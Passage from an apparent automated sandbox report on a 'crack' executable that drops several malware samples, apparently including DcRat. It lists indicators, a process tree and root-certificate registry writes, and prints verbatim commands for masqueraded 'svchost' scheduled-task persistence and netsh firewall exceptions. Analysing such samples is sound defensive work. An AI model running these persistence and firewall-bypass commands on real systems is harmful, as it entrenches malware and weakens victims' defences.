f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1140	schtasks.exe
1332	schtasks.exe
1780	schtasks.exe
2376	schtasks.exe
2028	schtasks.exe
1720	schtasks.exe
4072	schtasks.exe
1768	schtasks.exe
2100	schtasks.exe
908	schtasks.exe
2024	schtasks.exe
928	schtasks.exe
876	schtasks.exe
1620	schtasks.exe
2080	schtasks.exe
2568	schtasks.exe
1256	schtasks.exe
1504	schtasks.exe
1336	schtasks.exe
3536	schtasks.exe
3320	schtasks.exe
2812	schtasks.exe
2292	schtasks.exe
4040	schtasks.exe
3884	schtasks.exe
3868	schtasks.exe
760	schtasks.exe
3092	schtasks.exe
2580	schtasks.exe
2060	schtasks.exe
3488	schtasks.exe
3920	schtasks.exe
3404	schtasks.exe
3596	schtasks.exe
2320	schtasks.exe
4064	schtasks.exe
3988	schtasks.exe
3620	schtasks.exe
1812	schtasks.exe
2960	schtasks.exe
236	schtasks.exe
3656	schtasks.exe
3048	schtasks.exe
2008	schtasks.exe
3948	schtasks.exe
884	schtasks.exe
1400	schtasks.exe
2072	schtasks.exe
3956	schtasks.exe
2584	schtasks.exe
3116	schtasks.exe
2988	schtasks.exe
1728	schtasks.exe
2116	schtasks.exe
1068	schtasks.exe
2208	schtasks.exe
1164	schtasks.exe
2244	schtasks.exe
2872	schtasks.exe
3100	schtasks.exe
3504	schtasks.exe
3128	schtasks.exe
3104	schtasks.exe
992	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2688	5e710462c65fe899466e4fb7c1e33c9a.exe
1484	73c1c41b9e71c48e752a5cd19fe808b6.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
1696	a6a1abaf12a28ea8f6553356c3bdcf57.exe
1696	a6a1abaf12a28ea8f6553356c3bdcf57.exe
1696	a6a1abaf12a28ea8f6553356c3bdcf57.exe
1696	a6a1abaf12a28ea8f6553356c3bdcf57.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2720	57ccb6f0bd910fed428761828ae93553.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
1716	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
3176	server.exe
3416	svhost.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
476	Process not Found
476	Process not Found
476	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	7f1630df6b57af024a3b561bdadc208f.exe
Token: SeDebugPrivilege	2720	57ccb6f0bd910fed428761828ae93553.exe
Token: SeDebugPrivilege	2688	5e710462c65fe899466e4fb7c1e33c9a.exe
Token: SeDebugPrivilege	2936	Client.exe
Token: SeDebugPrivilege	1484	73c1c41b9e71c48e752a5cd19fe808b6.exe
Token: SeDebugPrivilege	1696	a6a1abaf12a28ea8f6553356c3bdcf57.exe
Token: SeDebugPrivilege	2956	TEST.exe
Token: SeDebugPrivilege	2668	see7.exe
Token: SeDebugPrivilege	2336	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Token: SeDebugPrivilege	3176	server.exe
Token: SeIncreaseQuotaPrivilege	3276	wmic.exe
Token: SeSecurityPrivilege	3276	wmic.exe
Token: SeTakeOwnershipPrivilege	3276	wmic.exe
Token: SeLoadDriverPrivilege	3276	wmic.exe
Token: SeSystemProfilePrivilege	3276	wmic.exe
Token: SeSystemtimePrivilege	3276	wmic.exe
Token: SeProfSingleProcessPrivilege	3276	wmic.exe
Token: SeIncBasePriorityPrivilege	3276	wmic.exe
Token: SeCreatePagefilePrivilege	3276	wmic.exe
Token: SeBackupPrivilege	3276	wmic.exe
Token: SeRestorePrivilege	3276	wmic.exe
Token: SeShutdownPrivilege	3276	wmic.exe
Token: SeDebugPrivilege	3276	wmic.exe
Token: SeSystemEnvironmentPrivilege	3276	wmic.exe
Token: SeRemoteShutdownPrivilege	3276	wmic.exe
Token: SeUndockPrivilege	3276	wmic.exe
Token: SeManageVolumePrivilege	3276	wmic.exe
Token: 33	3276	wmic.exe
Token: 34	3276	wmic.exe
Token: 35	3276	wmic.exe
Token: SeDebugPrivilege	3416	svhost.exe
Token: SeDebugPrivilege	3956	57ccb6f0bd910fed428761828ae93553.exe
Token: 33	3416	svhost.exe
Token: SeIncBasePriorityPrivilege	3416	svhost.exe
Token: SeDebugPrivilege	3820	cbgsujmwws.exe
Token: SeIncreaseQuotaPrivilege	3276	wmic.exe
Token: SeSecurityPrivilege	3276	wmic.exe
Token: SeTakeOwnershipPrivilege	3276	wmic.exe
Token: SeLoadDriverPrivilege	3276	wmic.exe
Token: SeSystemProfilePrivilege	3276	wmic.exe
Token: SeSystemtimePrivilege	3276	wmic.exe
Token: SeProfSingleProcessPrivilege	3276	wmic.exe
Token: SeIncBasePriorityPrivilege	3276	wmic.exe
Token: SeCreatePagefilePrivilege	3276	wmic.exe
Token: SeBackupPrivilege	3276	wmic.exe
Token: SeRestorePrivilege	3276	wmic.exe
Token: SeShutdownPrivilege	3276	wmic.exe
Token: SeDebugPrivilege	3276	wmic.exe
Token: SeSystemEnvironmentPrivilege	3276	wmic.exe
Token: SeRemoteShutdownPrivilege	3276	wmic.exe
Token: SeUndockPrivilege	3276	wmic.exe
Token: SeManageVolumePrivilege	3276	wmic.exe
Token: 33	3276	wmic.exe
Token: 34	3276	wmic.exe
Token: 35	3276	wmic.exe
Token: SeBackupPrivilege	3232	vssvc.exe
Token: SeRestorePrivilege	3232	vssvc.exe
Token: SeAuditPrivilege	3232	vssvc.exe
Token: 33	3176	server.exe
Token: SeIncBasePriorityPrivilege	3176	server.exe
Token: 33	3416	svhost.exe
Token: SeIncBasePriorityPrivilege	3416	svhost.exe
Token: SeDebugPrivilege	1724	WmiPrvSE.exe
Token: SeDebugPrivilege	1716	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
960	virus.jk.exe
2676	iexplore.exe
2676	iexplore.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 2772	1976	クラック.exe	30
PID 1976 wrote to memory of 2772	1976	クラック.exe	30
PID 1976 wrote to memory of 2772	1976	クラック.exe	30
PID 1976 wrote to memory of 2772	1976	クラック.exe	30
PID 1976 wrote to memory of 2688	1976	クラック.exe	31
PID 1976 wrote to memory of 2688	1976	クラック.exe	31
PID 1976 wrote to memory of 2688	1976	クラック.exe	31
PID 1976 wrote to memory of 2688	1976	クラック.exe	31
PID 1976 wrote to memory of 2648	1976	クラック.exe	32
PID 1976 wrote to memory of 2648	1976	クラック.exe	32
PID 1976 wrote to memory of 2648	1976	クラック.exe	32
PID 1976 wrote to memory of 2648	1976	クラック.exe	32
PID 1976 wrote to memory of 2856	1976	クラック.exe	33
PID 1976 wrote to memory of 2856	1976	クラック.exe	33
PID 1976 wrote to memory of 2856	1976	クラック.exe	33
PID 1976 wrote to memory of 2856	1976	クラック.exe	33
PID 1976 wrote to memory of 1716	1976	クラック.exe	34
PID 1976 wrote to memory of 1716	1976	クラック.exe	34
PID 1976 wrote to memory of 1716	1976	クラック.exe	34
PID 1976 wrote to memory of 1716	1976	クラック.exe	34
PID 1976 wrote to memory of 2720	1976	クラック.exe	35
PID 1976 wrote to memory of 2720	1976	クラック.exe	35
PID 1976 wrote to memory of 2720	1976	クラック.exe	35
PID 1976 wrote to memory of 2720	1976	クラック.exe	35
PID 1976 wrote to memory of 2288	1976	クラック.exe	36
PID 1976 wrote to memory of 2288	1976	クラック.exe	36
PID 1976 wrote to memory of 2288	1976	クラック.exe	36
PID 1976 wrote to memory of 2288	1976	クラック.exe	36
PID 1976 wrote to memory of 1484	1976	クラック.exe	37
PID 1976 wrote to memory of 1484	1976	クラック.exe	37
PID 1976 wrote to memory of 1484	1976	クラック.exe	37
PID 1976 wrote to memory of 1484	1976	クラック.exe	37
PID 1976 wrote to memory of 2892	1976	クラック.exe	38
PID 1976 wrote to memory of 2892	1976	クラック.exe	38
PID 1976 wrote to memory of 2892	1976	クラック.exe	38
PID 1976 wrote to memory of 2892	1976	クラック.exe	38
PID 1976 wrote to memory of 2336	1976	クラック.exe	39
PID 1976 wrote to memory of 2336	1976	クラック.exe	39
PID 1976 wrote to memory of 2336	1976	クラック.exe	39
PID 1976 wrote to memory of 2336	1976	クラック.exe	39
PID 1976 wrote to memory of 860	1976	クラック.exe	40
PID 1976 wrote to memory of 860	1976	クラック.exe	40
PID 1976 wrote to memory of 860	1976	クラック.exe	40
PID 1976 wrote to memory of 860	1976	クラック.exe	40
PID 860 wrote to memory of 2112	860	938b92958ded4d50a357d22eddf141ad.exe	41
PID 860 wrote to memory of 2112	860	938b92958ded4d50a357d22eddf141ad.exe	41
PID 860 wrote to memory of 2112	860	938b92958ded4d50a357d22eddf141ad.exe	41
PID 860 wrote to memory of 2112	860	938b92958ded4d50a357d22eddf141ad.exe	41
PID 860 wrote to memory of 2112	860	938b92958ded4d50a357d22eddf141ad.exe	41
PID 860 wrote to memory of 2112	860	938b92958ded4d50a357d22eddf141ad.exe	41
PID 860 wrote to memory of 2112	860	938b92958ded4d50a357d22eddf141ad.exe	41
PID 1976 wrote to memory of 1388	1976	クラック.exe	42
PID 1976 wrote to memory of 1388	1976	クラック.exe	42
PID 1976 wrote to memory of 1388	1976	クラック.exe	42
PID 1976 wrote to memory of 1388	1976	クラック.exe	42
PID 1976 wrote to memory of 1696	1976	クラック.exe	43
PID 1976 wrote to memory of 1696	1976	クラック.exe	43
PID 1976 wrote to memory of 1696	1976	クラック.exe	43
PID 1976 wrote to memory of 1696	1976	クラック.exe	43
PID 1976 wrote to memory of 1820	1976	クラック.exe	44
PID 1976 wrote to memory of 1820	1976	クラック.exe	44
PID 1976 wrote to memory of 1820	1976	クラック.exe	44
PID 1976 wrote to memory of 1820	1976	クラック.exe	44
PID 1976 wrote to memory of 1820	1976	クラック.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	cbgsujmwws.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	cbgsujmwws.exe

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService
1⤵
PID:268

C:\Users\Admin\AppData\Local\Temp\クラック.exe
"C:\Users\Admin\AppData\Local\Temp\クラック.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
  "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2772
- C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
  "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\1tEFfuKbjA.bat"
    3⤵
    PID:3536
  - - C:\Windows\system32\w32tm.exe
      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
      4⤵
      PID:4048
  - - C:\Users\Admin\WmiPrvSE.exe
      "C:\Users\Admin\WmiPrvSE.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1724
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\mXwt0TPAcq.bat"
        5⤵
        
        PID:2576
- C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
  "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2648
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2648 -s 920
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:3484
- C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
  "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2856
- - C:\Users\Admin\AppData\Local\Temp\server.exe
    "C:\Users\Admin\AppData\Local\Temp\server.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops autorun.inf file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:3176
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:4060
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Exsample.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:2208
- C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
  "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  PID:1716
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1088
- C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
  "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vz2kf340\vz2kf340.cmdline"
    3⤵
    - Drops file in System32 directory
    PID:1448
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES37A4.tmp" "c:\Windows\System32\CSCCEE7A168266D4557921FB369C4A65ED.TMP"
      4⤵
      PID:1400
- C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
  "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2288
- C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
  "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1484
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\edY1Kn7CiT.bat"
    3⤵
    PID:3884
  - - C:\Windows\system32\w32tm.exe
      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
      4⤵
      PID:2560
  - - C:\Users\All Users\Microsoft Help\57ccb6f0bd910fed428761828ae93553.exe
      "C:\Users\All Users\Microsoft Help\57ccb6f0bd910fed428761828ae93553.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3956
- C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
  "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2892
- C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
  "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Modifies system certificate store
  - Suspicious use of AdjustPrivilegeToken
  PID:2336
- - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
    "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:3372
- C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
  "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Windows\winhlp32.exe
    winhlp32.exe -x
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2112
- - C:\Windows\winhlp32.exe
    winhlp32.exe -x
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3672
- - C:\Users\Admin\AppData\Local\Temp\fwclt.exe
    C:\Users\Admin\AppData\Local\Temp\fwclt.exe C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
    3⤵
    - Executes dropped EXE
    PID:3584
- C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
  "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1388
- C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
  "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Program Files (x86)\BTZ.exe
  "C:\Program Files (x86)\BTZ.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Impair Defenses: Safe Mode Boot
  - Loads dropped DLL
  - Drops file in System32 directory
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1820
- C:\Program Files (x86)\Cat.exe
  "C:\Program Files (x86)\Cat.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2916
- C:\Program Files (x86)\Client.exe
  "C:\Program Files (x86)\Client.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- - C:\Windows\system32\CMD.exe
    "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
    3⤵
    PID:1164
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2988
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
    3⤵
    PID:2240
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
      4⤵
      PID:3188
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
    3⤵
    PID:3160
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
      4⤵
      DcRat
      PID:3644
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
    3⤵
    PID:3468
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
      4⤵
      PID:1976
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
    3⤵
    PID:3268
  - - C:\Windows\system32\schtasks.exe
